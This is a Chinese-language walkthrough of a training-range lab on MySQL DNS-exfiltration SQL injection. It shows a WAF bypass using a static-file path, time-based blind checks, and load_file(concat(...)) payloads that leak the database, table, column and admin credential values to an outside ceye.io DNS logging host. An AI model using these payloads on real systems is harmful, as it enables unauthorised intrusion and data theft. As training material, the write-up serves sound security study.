天天看點

封神台靶場-MySQL之DNS注入

DNS注入原理

通過子查詢,将内容拼接到域名内,讓load_file()去通路拼接好的域名、讀取遠端共享檔案,通路的時候對方伺服器将會做出記錄,然後我們檢視記錄日志

靶場實戰

封神台靶場-MySQL之DNS注入

我們注意到這裡需要一個id傳參,我們就給id傳參1

然後通過and 1=1&and 1=2 判斷注入是否存在

但是當我們測試 and 1=1的時候WAF出來了

封神台靶場-MySQL之DNS注入

然後我們這裡就要利用靜态資源通路法以及Apache的解析漏洞來繞過這個WAF達成注入

測試注入存在

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and 1=1 #頁面正常
http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and 1=2 #頁面正常
           

我們發現我們進行and 1=1和and 1=2測試時頁面沒有變化,那麼這裡很可能有盲注,于是我們進行盲注測試

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and if(length(database())=7,sleep(5),1)
           

我們發現頁面延遲了5s,證明這裡注入存在

接下來我們要采用一種全新的方式-DNS注入,将盲注變為好注的注入

查詢資料庫名

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and select load_file(concat('//',(select database()),'.mkiugg.ceye.io/abc'))
           

得出資料庫名為:mangzhu

查詢目前庫下表名

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.mkiugg.ceye.io/abc')))
           

查詢出第一個表名admin

又由提示知道flag就在這個表下面,我們就不查詢别的表名了

封神台靶場-MySQL之DNS注入

然後我們繼續查詢目前表名下字段名:

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 0,1),'.mkiugg.ceye.io/abc')))

不斷修改limit後數字得出admin表字段名有:
id,username,password
           

查詢資料

http://p9kj8014.ia.aqlab.cn/index3.php/1.txt?id=1 and (select load_file(concat('//',(select username from admin limit 0,1),'.mkiugg.ceye.io/abc')))

得出username為flag對應的password字段為:
1flag1good1
           

驗證後該flag正确!